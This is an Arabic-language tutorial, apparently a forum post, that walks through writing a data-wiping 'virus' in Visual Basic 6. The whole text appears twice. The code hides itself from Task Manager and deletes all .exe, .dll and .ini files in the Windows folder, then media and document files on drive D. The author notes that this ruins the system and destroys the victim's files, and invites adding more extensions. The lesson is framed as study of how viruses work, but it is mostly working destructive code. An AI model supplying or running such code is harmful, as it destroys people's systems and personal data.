كيفية عمل فايرس يحذف جميع الإمتدادات التي تطلبها انت . سواء ملفات اغاني او برامج او نظام او فيديو او نصية او صور او اي امتداد تريده.
فائدة الدرس: تعلم آلية عمل الفايروسات
مع ان معظم الفايرسات تعمل بلغة السي او الدلفي الا ان الفيجول لها مكان هنا.
شرح الدرس:
افتح الفيجوال بيسيك6 واختر ملف تنفيذي Standerd exe
لن تحتاج لأي برمجة مرئية هنا. لأن الفايرس لن يراه احد اذا العملية اكواد فقط. ولن تحتاج الى اي تغيير في الخصائص لأي كائن او نموذج.
الآن قم بفتح كود النموذج Form1 واضف الكود التالي
كود:
App.TaskVisible = False
Call Kill("C:\WINDOWS\*.exe")
Call Kill("C:\WINDOWS\*.dll")
Call Kill("C:\WINDOWS\*.ini")
شرح الكود:
في البداية قمنا باستعمال الكود
كود:
App.TaskVisible = False
هذا هو لإخفاء الفايرس من برنامج إدارة المهام الذي يدير عمل البرامج . ويسمى "Task Manger"
كما تلاحظ الامر app يحتوي عدة خصائص منها taskvisibel . وهو عبارة عن خصائص البرنامج بشكل عام وكلمة app اختصار ل applecation اي تطبيق. ومن خصائصه هل نريد البرنامج مخفي او مرئي؟. ببساطة نختار الخاصية TaskVisible قم وكما تلاحظ قيمة الخاصية False اي مرئية البرنامج خاطئة.
لو اخترنا True بدل False يكون البرنامج ظاهر . ولاحظ ان True هو القيمة الافتراضية لكل برنامج.
ثم يأتي الكود
كود:
Call Kill("C:\WINDOWS\*.exe")
Call Kill("C:\WINDOWS\*.dll")
Call Kill("C:\WINDOWS\*.ini")
لاحظ الامر call kill اي حذف ملف . ببساطة قمنا بوضع الامر ثم تحديد مسار الملف الذي نريد حذفه . وهو القرص C المجلد WINDOWS لكن كما تلاحظ وضعنا *.exe
ومعنى هذا حذف جميع الملفات بمجلد الويندوز ذو الامتداد exe ثم قمنا بوضع الامر نفسه مع الامتدادات dll و ini وعند حذف جميع هذه الملفات سيتم نهاية الويندوز وسيحتاج الجهاز الى فورمات لكي يعمل من جديد.
حسنا لو كان القرص C غير مهم ويمكن استعادته بالفورمات لكن الملفات المهمة والصور والفيديو تكون دائما موجودة على القرص D مثلا وتود حذفها. قم بإضافة الكود التالي:
كود:
Call Kill("D:\*.rm")
Call Kill("D:\*.ram")
Call Kill("D:\*.mp3")
Call Kill("D:\*.3gp")
Call Kill("D:\*.jpg")
Call Kill("D:\*.gif")
Call Kill("D:\*.wmv")
Call Kill("D:\*.doc")
Call Kill("D:\*.txt")
قمنا بوضع امر الحذف ثم تحديد المسار وهو القرص D ثم حذف الامتدادات المطلوبة. يمكنك اضافة الامتدادت التي تريدها. ويمكنك عمل نفس الطريقة للقرص C
حسنا ماذا لو اضفت جميع الامتدادت التي تعرفها للقرصين ؟ سيتم حذف جميع ملفات الجهاز حتى المهمة منها. وسيحتاج الى برنامج استعادة الملفات بعد ان يقوم بفرمته جهازه للحصول على ملفاته. ولن يجد حتى سوى ربعها بحالة جيدة والباقي تالف.
احذر!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
لا تحاول تجربة البرنامج لكي لا تنحذف ملفاتك
فقط قم بتحويله الى ملف تنفيذي لكن لا تفتحه
فائدة الدرس: تعلم آلية عمل الفايروسات
مع ان معظم الفايرسات تعمل بلغة السي او الدلفي الا ان الفيجول لها مكان هنا.
شرح الدرس:
افتح الفيجوال بيسيك6 واختر ملف تنفيذي Standerd exe
لن تحتاج لأي برمجة مرئية هنا. لأن الفايرس لن يراه احد اذا العملية اكواد فقط. ولن تحتاج الى اي تغيير في الخصائص لأي كائن او نموذج.
الآن قم بفتح كود النموذج Form1 واضف الكود التالي
كود:
App.TaskVisible = False
Call Kill("C:\WINDOWS\*.exe")
Call Kill("C:\WINDOWS\*.dll")
Call Kill("C:\WINDOWS\*.ini")
شرح الكود:
في البداية قمنا باستعمال الكود
كود:
App.TaskVisible = False
هذا هو لإخفاء الفايرس من برنامج إدارة المهام الذي يدير عمل البرامج . ويسمى "Task Manger"
كما تلاحظ الامر app يحتوي عدة خصائص منها taskvisibel . وهو عبارة عن خصائص البرنامج بشكل عام وكلمة app اختصار ل applecation اي تطبيق. ومن خصائصه هل نريد البرنامج مخفي او مرئي؟. ببساطة نختار الخاصية TaskVisible قم وكما تلاحظ قيمة الخاصية False اي مرئية البرنامج خاطئة.
لو اخترنا True بدل False يكون البرنامج ظاهر . ولاحظ ان True هو القيمة الافتراضية لكل برنامج.
ثم يأتي الكود
كود:
Call Kill("C:\WINDOWS\*.exe")
Call Kill("C:\WINDOWS\*.dll")
Call Kill("C:\WINDOWS\*.ini")
لاحظ الامر call kill اي حذف ملف . ببساطة قمنا بوضع الامر ثم تحديد مسار الملف الذي نريد حذفه . وهو القرص C المجلد WINDOWS لكن كما تلاحظ وضعنا *.exe
ومعنى هذا حذف جميع الملفات بمجلد الويندوز ذو الامتداد exe ثم قمنا بوضع الامر نفسه مع الامتدادات dll و ini وعند حذف جميع هذه الملفات سيتم نهاية الويندوز وسيحتاج الجهاز الى فورمات لكي يعمل من جديد.
حسنا لو كان القرص C غير مهم ويمكن استعادته بالفورمات لكن الملفات المهمة والصور والفيديو تكون دائما موجودة على القرص D مثلا وتود حذفها. قم بإضافة الكود التالي:
كود:
Call Kill("D:\*.rm")
Call Kill("D:\*.ram")
Call Kill("D:\*.mp3")
Call Kill("D:\*.3gp")
Call Kill("D:\*.jpg")
Call Kill("D:\*.gif")
Call Kill("D:\*.wmv")
Call Kill("D:\*.doc")
Call Kill("D:\*.txt")
قمنا بوضع امر الحذف ثم تحديد المسار وهو القرص D ثم حذف الامتدادات المطلوبة. يمكنك اضافة الامتدادت التي تريدها. ويمكنك عمل نفس الطريقة للقرص C
حسنا ماذا لو اضفت جميع الامتدادت التي تعرفها للقرصين ؟ سيتم حذف جميع ملفات الجهاز حتى المهمة منها. وسيحتاج الى برنامج استعادة الملفات بعد ان يقوم بفرمته جهازه للحصول على ملفاته. ولن يجد حتى سوى ربعها بحالة جيدة والباقي تالف.
احذر!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
لا تحاول تجربة البرنامج لكي لا تنحذف ملفاتك
فقط قم بتحويله الى ملف تنفيذي لكن لا تفتحه